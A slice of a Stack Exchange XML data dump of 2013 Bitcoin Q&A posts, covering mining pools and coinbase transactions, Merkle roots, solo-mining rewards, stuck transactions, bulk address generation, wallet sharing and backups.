  <row Id="10692" PostTypeId="2" ParentId="10687" CreationDate="2013-05-08T08:12:25.257" Score="18" Body="&lt;p&gt;The blocks you mine contain a coinbase transaction, which pays the block reward to an address of your choice.  When mining in a pool, you set the payment address to the pool's address.  If you were to mine a block and try to change the payment address to your own address, this would change block hash and invalidate the block.  You can't cheat a pool by mining with your own payment address because they will check that.  Pools get a regular proof of work from their miners by giving them an easier difficulty target, so that the miner regularly passes mined blocks back to the pool which get checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you either mine for a pool, which pays the pool, or you mine solo.  You can't do both at once.&lt;/p&gt;&#xA;" OwnerUserId="4897" LastActivityDate="2013-05-08T08:12:25.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="2" ParentId="10687" CreationDate="2013-05-08T09:06:52.883" Score="32" Body="&lt;p&gt;When you are running a miner in a pool, you communicate through &lt;code&gt;getwork&lt;/code&gt; protocol. It basically boils down to requesting work and sending back shares (and in rare cases, solutions to blocks). Work in getwork is a Block Header, &lt;strong&gt;not&lt;/strong&gt; an entire Block. The coinbase transaction is encoded in the merkle root, but is not known to the miner. The block hash that creates a share or a block solution is ONLY valid for a given merkle root. If you change the coinbase, giving yourself all the money, you invalidate your solution and have to start over. If you are mining your own blocks, no pool should accept your shares (unless it is dumb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up - a miner does not know the coinbase transaction, nor can it change the block without invalidating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, a miner can withhold a block solution while still submitting other shares. This will make the pool get less money while still having to potentially pay for those shares. This exploit can be detected by statistics though, so over a long period of time such a malicious miner can be found out.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-08T09:06:52.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10695" PostTypeId="2" ParentId="10683" CreationDate="2013-05-08T09:32:55.390" Score="2" Body="&lt;p&gt;The field indicates that the order is yours with a value of &lt;code&gt;1&lt;/code&gt;. With a &lt;code&gt;0&lt;/code&gt;, it indicates it is not an order made by you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's indeed nowhere documented, the only valid arguments for my explanation are the name of the variable and the fact that I can only find &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt; values for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I found &lt;a href=&quot;https://github.com/kushti/btce-scala/blob/master/btce-trade.scala#L130&quot; rel=&quot;nofollow&quot;&gt;this piece of code&lt;/a&gt; where they save &lt;code&gt;the is_your_order&lt;/code&gt; field as a boolean, testing of the value &lt;code&gt;==1&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-08T09:32:55.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10696" PostTypeId="1" AcceptedAnswerId="10698" CreationDate="2013-05-08T10:24:59.447" Score="25" ViewCount="6924" Body="&lt;p&gt;I understand what the merkle root is and how it is calculated, but I have not been able to figure out what is the actual purpose behind using this kind of hashing solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, I know that the root itself must be there, to identify the exact block's payload, but what I don't get is why didn't he just choose to calculate the hash using a normal double SHA256 over the entire block's transactions? Why did he come out with this tree-idea instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not see the tree based hashing to be adding any security, neither to have any useful advantages over a regular (linear) hash... so am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="3439" LastEditDate="2013-05-08T18:59:33.220" LastActivityDate="2013-10-14T08:42:11.380" Title="What is the benefit of using a Merkle Root rather than simply hashing all of the transactions in the block?" Tags="|merkle-tree|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10697" PostTypeId="2" ParentId="10696" CreationDate="2013-05-08T10:54:57.547" Score="7" Body="&lt;p&gt;I believe it's to enable Simplified Payment Verification (SPV).  A client who doesn't wish to download the full blockchain can still verify that a transaction exists in the blockchain by confirming that the block headers are linked, and validating the relevant parts of the merkel tree to confirm the transaction really exists in the block.&lt;/p&gt;&#xA;" OwnerUserId="4897" LastActivityDate="2013-05-08T10:54:57.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10698" PostTypeId="2" ParentId="10696" CreationDate="2013-05-08T11:36:41.527" Score="14" Body="&lt;p&gt;The Merkle tree allows verifying that a transaction exists in the block without having the entire block, by following its Merkle branch. Among other things this enables:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;SPV (lightweight) clients&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blockchain pruning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Smart pool miners&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-08T11:36:41.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10699" PostTypeId="2" ParentId="1746" CreationDate="2013-05-08T11:47:01.677" Score="1" Body="&lt;p&gt;Indeed you can mine Litecoins with your GPU.&#xA;Get &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;CGMiner&lt;/a&gt; and register at &lt;a href=&quot;https://www.coinat.com/&quot; rel=&quot;nofollow&quot;&gt;coinat.com&lt;/a&gt;, start mining.&lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2013-05-08T11:47:01.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10700" PostTypeId="2" ParentId="8545" CreationDate="2013-05-08T12:15:14.777" Score="5" Body="&lt;p&gt;Another alternative is &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_burn&quot; rel=&quot;noreferrer&quot;&gt;proof of burn&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2013-05-08T12:15:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10701" PostTypeId="1" CreationDate="2013-05-08T14:05:15.120" Score="5" ViewCount="504" Body="&lt;p&gt;There is requirement in &lt;a href=&quot;https://ripple.com/wiki/Gateway_Integration_Manual&quot;&gt;https://ripple.com/wiki/Gateway_Integration_Manual&lt;/a&gt;&#xA;Gateways should comply with the BSA, have AML policies and require KYC information. &#xA;As i understand this requirements can be accomplished only by banks, funds or other financial institutes, am i right?&#xA;if so, what is the minimum starters level of capital need to make own gateway?&lt;/p&gt;&#xA;" OwnerUserId="4802" LastEditorUserId="37414" LastEditDate="2018-05-10T16:54:46.377" LastActivityDate="2018-05-10T16:54:46.377" Title="Law / country specifics to start Ripple Gateway" Tags="|ripple|ripple-gateways|aml|know-your-customer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10702" PostTypeId="1" AcceptedAnswerId="10707" CreationDate="2013-05-08T15:05:04.430" Score="2" ViewCount="2419" Body="&lt;p&gt;I've sent a transaction which has a &amp;lt;0.01 BTC output, with zero fee using blockchain.info Android client. It is not being relayed (violating memory pool rules of bitcoind). What can I do to recover the Bitcoins that participated this transaction?&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2013-05-08T18:05:33.617" Title="I've sent a small low priority transaction with insufficient fee with blockchain.info wallet, what will happen next?" Tags="|transaction-fees|blockchain.info|revert-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostTypeId="2" ParentId="10686" CreationDate="2013-05-08T15:35:18.907" Score="0" Body="&lt;p&gt;Lowering the number of connections would probably make your connection to the network less reliable.  It might also make it so that any transactions you broadcast would be slower to propagate through the network, since they aren't being spread as widely as quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having only a few connections would, at the very least, make it take longer for your blockchain to get caught up, and for new blocks to be downloaded.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-08T15:35:18.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostTypeId="1" AcceptedAnswerId="10706" CreationDate="2013-05-08T17:23:27.940" Score="-1" ViewCount="2029" Body="&lt;p&gt;When solo mining and connecting to either the Bitcoin-QT server or Litecoin-QT server.  If I actually do find a solution to the block, how is that prize awarded? I have not shared my public key via bfgminer, eg:&#xA;&lt;code&gt;bfgminer -o http://127.0.0.1:8336 -u bitcoinrpc -p ........&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the bitcoin/litecoin network know which public key to credit? Or does the credit just appear in the bitcoin/litecoin wallet?&lt;/p&gt;&#xA;" OwnerUserId="4829" LastActivityDate="2013-12-27T23:04:17.403" Title="How is Bitcoin / Litecoin mining prize awarded when solo mining?" Tags="|litecoin|solo-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10706" PostTypeId="2" ParentId="10705" CreationDate="2013-05-08T17:58:21.733" Score="3" Body="&lt;p&gt;The first transaction in a block, &quot;creates&quot; an amount of new bitcoins. The miner of that block puts the address there, so it can make sure it's an address he has access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most solo miners are connected to a bitcoind daemon. Whenever they find a block, the new address containing the block reward is added to their wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run bfgminer, you give it access to bitcoind through your RPC login, so it will add the address to your wallet.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-08T17:58:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostTypeId="2" ParentId="10702" CreationDate="2013-05-08T18:05:33.617" Score="2" Body="&lt;p&gt;You can do two things&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait until the transaction gets relayed. Transactions without fees usually get relayed as well, but often a later than those with a fee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send a new transaction spending the same outputs, with a fee. It's possible that some miner will accept it eventually. This can be tricky when you use blockchain.info's wallet. It's called double spending, you can probably find some information on that elsewhere, like on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=172751.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt;. That article suggest that you import the private key from the address you send from to Bitcoin-Qt and try to do the same transaction again from there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-08T18:05:33.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostTypeId="1" CreationDate="2013-05-08T18:20:54.717" Score="2" ViewCount="13717" Body="&lt;p&gt;Hi I am using multibit as my bitcoin wallet.  I will be using money gram to put money into my account.  I dont know how to buy bitcoins for myself.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On multibit it says you can send coins to someone or request them but it doesn't say to yourself.  I don't want to send them to anyone else, just me.  I am using bitinstant to transfer funds into bitstamp, but where do I get the wallet address?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I enter the amount I want in bitcoins on bitinstant? And how do I get my funds from bitstamp into my wallet?  Which one do I use first and what is the address I type into the website I am buying items off of so they can withdraw them from my account?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need help with buying bitcoins for myself and where I find the address and that I do when I go to the money gram?  Where is the address found?  And do I need to use bitstamp?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this because I'm finding it really hard.  If there is a quicker easier software or website or wallet to use please let me know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;Also, where do I enter the amount of funds I'm going to put into the moneygram on Bitstamp, do I use Bitinstant for that? What do I do when I get to the moneygram? Do I enter the address? Can someone tell me an easier process including whichever websites you all use and in what order and how you actually retrieve the money to use online?&lt;/p&gt;&#xA;" OwnerUserId="4904" LastEditorUserId="2306" LastEditDate="2013-06-09T20:10:35.147" LastActivityDate="2013-06-09T20:10:35.147" Title="How do I get my funds from bitstamp into my wallet?" Tags="|wallet|address|multibit|bitstamp|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostTypeId="1" CreationDate="2013-05-08T18:21:10.960" Score="6" ViewCount="6889" Body="&lt;p&gt;What is the best method to generate large numbers of bitcoin addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine something like the following would break bitcoind in some fashion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./bitcoind keypool=100000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-05-08T23:02:42.017" Title="How to pre-generate 100M bitcoin addresses?" Tags="|bitcoind|address|vanity-address|vanitygen|" AnswerCount="3" CommentCount="3" ClosedDate="2018-06-18T07:23:59.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="10710" PostTypeId="2" ParentId="10709" CreationDate="2013-05-08T19:17:01.903" Score="3" Body="&lt;p&gt;If you just need the keys, but not imported into bitciond:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate 100M random numbers, each 256-bits long - these are your private keys.*&lt;/li&gt;&#xA;&lt;li&gt;For each of the numbers execute the curve's ScalarBaseMult - to get X and Y.&lt;/li&gt;&#xA;&lt;li&gt;The X (and Y) is your public key - you just need to hash and b58 encode it, to turn it into a bitcoin address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*) You might want to check if the numbers are in a range, but it's extremely unlikely that they would not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need 100M keys imported into bitcoind - well, that could be a challenge...&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-08T19:17:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10711" PostTypeId="2" ParentId="10708" CreationDate="2013-05-08T19:37:42.267" Score="2" Body="&lt;p&gt;Login to Bitstamp account &gt;&gt; Deposit &gt;&gt; Bitcoin &gt;&gt; here is your Bitstamp deposit address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To transfer bitcoins to your Multibit wallet, again Login to Bitstamp account &gt;&gt; Withdrawal &gt;&gt; Bitcoin &gt;&gt;  here you can enter your Multibit wallet address and bitcoin amount.  &lt;/p&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-08T19:37:42.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostTypeId="2" ParentId="10709" CreationDate="2013-05-08T19:50:05.233" Score="1" Body="&lt;p&gt;The &lt;code&gt;keypool&lt;/code&gt; flag can accomplish that, but it would certainly take a long time. At this scale you might want to look into modifying vanitygen to create such a big number of addresses using GPU. However, there are no off-the-shelf solutions for what you are aiming to do, asides using &lt;code&gt;keypool&lt;/code&gt; flag.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-08T19:50:05.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10713" PostTypeId="1" CreationDate="2013-05-08T20:40:50.423" Score="2" ViewCount="379" Body="&lt;p&gt;I'm working on porting some front-end pool software to Postgres. I've got at test net set up and can mine directly to litecoind from cgminer. But I'm getting false positives reported to cgminer and other weirdness when I attempt to mine through pushpool. cgminer will go through three or four 'accepted' lines, then &quot;block found&quot;, the shares get recorded in the database, but there's no 'upstream_result'. I've been running network traces, and cannot find anything that differentiates an accepted share to a 'found block'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the network traces, all the litecoind does is send new work to pushpool. I see no work from pushpool being submitted to litecoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: One thing I missed in my test configuration was that I didn't have a &quot;blocknotify&quot; process in place. I've corrected that, but I'm still looking for a trace of 'block found' through pushpool.(06/06)&lt;/p&gt;&#xA;" OwnerUserId="4906" LastEditorUserId="4906" LastEditDate="2013-06-06T14:31:37.660" LastActivityDate="2013-06-06T14:31:37.660" Title="Does anyone have a network trace of a successful 'Block found'" Tags="|litecoin|pushpool|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:34:07.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostTypeId="1" AcceptedAnswerId="10743" CreationDate="2013-05-08T20:49:06.967" Score="4" ViewCount="3370" Body="&lt;p&gt;Can I close Bitcoin-QT client and power off my computer just after sending coins to someone or do I need to wait until 1, 2...6 confirmations?&lt;/p&gt;&#xA;" OwnerUserId="3995" LastActivityDate="2013-06-11T04:28:36.233" Title="how long do i have to keep Bitcoin-Qt open after sending coins" Tags="|confirmations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostTypeId="2" ParentId="10714" CreationDate="2013-05-08T21:13:10.753" Score="5" Body="&lt;p&gt;You can just close the client. Once the transaction is sent into the network, all clients received it and miners will include in one of their next blocks. (Sometimes they do not, but that has nothing to do with whether your client is open or not.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client is just a gateway to the peer-to-peer network, meaning that all you need to send/access your wallet is your wallet information (the wallet.dat file when you use the Bitcoin-Qt client). When you backup that information and lose your client, you can always recover your coins on another machine.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-08T21:13:10.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostTypeId="2" ParentId="10709" CreationDate="2013-05-08T23:02:42.017" Score="7" Body="&lt;p&gt;I ran &lt;code&gt;vanitygen -k 1&lt;/code&gt;, which will keep creating addresses matching the pattern &lt;strong&gt;1*&lt;/strong&gt; until stopped, for approximately five seconds and it generated more than 3,000 addresses. No GPU assistance here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one Terminal tab, run vanitygen or oclvanitygen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vanitygen -k -o addrs 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another Terminal tab, run this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;watch 'echo &quot;`wc -l addrs | egrep -o &quot;[0-9]+&quot;` / 3&quot; | bc'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the number in the second terminal tab is greater than 100M, you're done! The divisor is three because the output file will contain addresses in three line sets: Pattern, Address, Private Key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, find a way to automate that and you'll be golden. You can also just shuffle bits around with another program that just gets the first 100M addresses from the file you generated.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-08T23:02:42.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10717" PostTypeId="1" CreationDate="2013-05-09T00:15:15.057" Score="1" ViewCount="1154" Body="&lt;p&gt;I'm trying to learn how litecoins work (and learn new programming language at same time by writing a crappy little miner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck with &lt;code&gt;getdata&lt;/code&gt;. Here &lt;a href=&quot;http://litecoin.info/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;http://litecoin.info/wiki/Scrypt&lt;/a&gt; &#xA;it says that data is 160 characters long. But its not. Its quite a bit longer than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1.) What is &lt;code&gt;nonce&lt;/code&gt; and how do I use it?&lt;/li&gt;&#xA;&lt;li&gt;2.) What is &lt;code&gt;bits&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;3.) What are all the 0's after the &lt;code&gt;bits&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok, I think I have to use just first 160 characters of &lt;code&gt;data&lt;/code&gt; and ignore the rest. Correct?&lt;/p&gt;&#xA;" OwnerUserId="4870" LastEditorUserId="5406" LastEditDate="2017-05-21T20:28:33.157" LastActivityDate="2017-05-21T20:28:33.157" Title="What does nonce mean?" Tags="|litecoin|difficulty|terminology|nonce|getwork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostTypeId="2" ParentId="10717" CreationDate="2013-05-09T00:46:55.023" Score="1" Body="&lt;p&gt;A nonce is just a value that you keep changing in the hope that after you hash all the data the hash will be less than the target value. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt; (litecoin is similar only uses scrypt instead of sha256 hash function.)&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-05-09T00:46:55.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostTypeId="1" CreationDate="2013-05-09T10:29:48.023" Score="1" ViewCount="44" Body="&lt;p&gt;I'm not sure if I'm using the right terminology but I know that theoretically it's possible for a block to be part of the longest (i.e. &quot;main&quot;) blockchain but then be &quot;replaced&quot; by an alternative chain that is longer.  Presumably it would most likely happen that the last block would be replaced in this way but it could also happen that the last 2, 3 or more could be replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any statistics on how often this actually happens?  For example, the last block is replaced on average once a day, the last 2 blocks once every 10 days, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would have bearing on how confident one should be after a payment has had 2, 3, etc. confirmations.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2019-07-20T03:36:00.257" LastActivityDate="2019-07-20T03:36:00.257" Title="statistics on actual &quot;replacement&quot; of blocks" Tags="|blockchain|chain-reorganization|stale-block|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-20T22:43:47.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="10721" PostTypeId="1" CreationDate="2013-05-09T11:10:38.510" Score="2" ViewCount="473" Body="&lt;p&gt;I've read (i.e. here &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained&lt;/a&gt;) about the concept of &quot;accounts&quot; in bitcoin.  However I can't see how to create them in &lt;code&gt;bitcoin-qt&lt;/code&gt;.   How do I use accounts?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-08-07T12:00:00.057" Title="&quot;accounts&quot; in bitcoin-qt" Tags="|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostTypeId="2" ParentId="10721" CreationDate="2013-05-09T11:15:58.093" Score="1" Body="&lt;p&gt;The accounts feature is only accessible through the RPC interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, unless you want to maintain separate balances for several users sharing the same wallet, it's unlikely you'll want to use this feature.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-09T11:15:58.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10723" PostTypeId="1" AcceptedAnswerId="10724" CreationDate="2013-05-09T12:17:31.410" Score="6" ViewCount="2349" Body="&lt;p&gt;Since the blockchain is such a large file, I'd like to have more than 1 account on the same computer share it.  Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-05-09T12:47:29.797" Title="Separate wallets sharing the same blockchain?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10724" PostTypeId="2" ParentId="10723" CreationDate="2013-05-09T12:40:48.027" Score="5" Body="&lt;p&gt;The most straightforward way to do this with Bitcoin-Qt/bitcoind (at this moment) is to swap the &lt;code&gt;wallet.dat&lt;/code&gt; in your bitcoin data directory &lt;em&gt;when the client is not running&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method (if you're on a UNIX-ish OS) is to create multiple data directories, then symbolic link (ln -s) the &lt;code&gt;blocks&lt;/code&gt; and &lt;code&gt;chainstate&lt;/code&gt; directories (not &lt;code&gt;database&lt;/code&gt;) inside your datadirs to a common data dir. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir ~/.bitcoin-alt  # new wallet directory&#xA;cd ~/.bitcoin-alt&#xA;ln -s ~/.bitcoin/blocks ~/.bitcoin/chainstate .&#xA;# launch new wallet&#xA;bitcoin-qt -datadir=$HOME/.bitcoin-alt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can leave the wallet.dat alone. When launching you can specify a &lt;code&gt;-datadir&lt;/code&gt; based on the wallet that you want to use, and it will share the blockchain dirs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt; even with this solution cannot run two bitcoind/bitcoin-qt instances at the same time sharing the block chain! This is currently not possible and will result in corruption if you try.&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="147" LastEditDate="2013-05-09T12:47:29.797" LastActivityDate="2013-05-09T12:47:29.797" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10726" PostTypeId="1" CreationDate="2013-05-09T13:28:42.113" Score="1" ViewCount="288" Body="&lt;p&gt;Is there any advanced trading software available for windows platform? I came across &lt;a href=&quot;http://prof7bit.github.io/goxtool/&quot; rel=&quot;nofollow&quot;&gt;goxtool&lt;/a&gt;, which is pretty much what I'd like to try, but runs only on linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a client that offers more than just simple buy/sell orders - I don't mind if coding is involved (python, matlab, c++, whatever), I'd like to experiment with custom trading bots in small amounts of BTC.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastEditorUserId="5406" LastEditDate="2014-02-09T10:01:00.240" LastActivityDate="2014-02-09T10:01:00.240" Title="Windows trading software" Tags="|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10728" PostTypeId="2" ParentId="10726" CreationDate="2013-05-09T14:09:02.577" Score="1" Body="&lt;p&gt;You could probably run goxtool in Python under Cygwin, since that would give you a terminal.  I'm not sure if that's the only Linux-specific thing it'd need, but it'd probably be a start.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-09T14:09:02.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostTypeId="1" CreationDate="2013-05-09T15:27:23.027" Score="8" ViewCount="8962" Body="&lt;p&gt;I invested in bitcoins and unfortunately I have problems to understand the system. Perhaps you can answer me the following questions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.a) I know my public and my private key. Do I still have to backup my wallet.dat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1b) If I need the wallet.dat: There is no point in saving my public and private key, if I need the wallet.dat anyways, right?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I secure my wallet.dat with a strong password, can I put the wallet.dat just on dropbox and send it to a few friends or do I have to keep the file more private?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the decripting function of Bitcoin-QT enough?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Am I okay with these actionsteps:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encrypting my wallet with Bitcoin-QT and writing my password on paper&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Writing my public key and private key on paper&lt;/li&gt;&#xA;&lt;li&gt;Sending the bitcoins from mtgox to my public address&lt;/li&gt;&#xA;&lt;li&gt;Using the backup option of Bitcoin-QT and send the backup to dropbox + a friend I trust&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I need more steps or I can take a step out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4918" LastEditorDisplayName="user5954" LastEditDate="2013-07-20T15:45:55.833" LastActivityDate="2021-05-01T20:53:56.497" Title="Public Key + Private Key enough to backup?" Tags="|private-key|backup|public-key|wallet.dat|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10730" PostTypeId="2" ParentId="10729" CreationDate="2013-05-09T15:31:54.400" Score="2" Body="&lt;p&gt;You can generate your wallet from your private key by following the directions at: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also send an (encrypted) wallet to your friends, or store it on Dropbox.  The encryption should be more than adequate.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-09T15:31:54.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
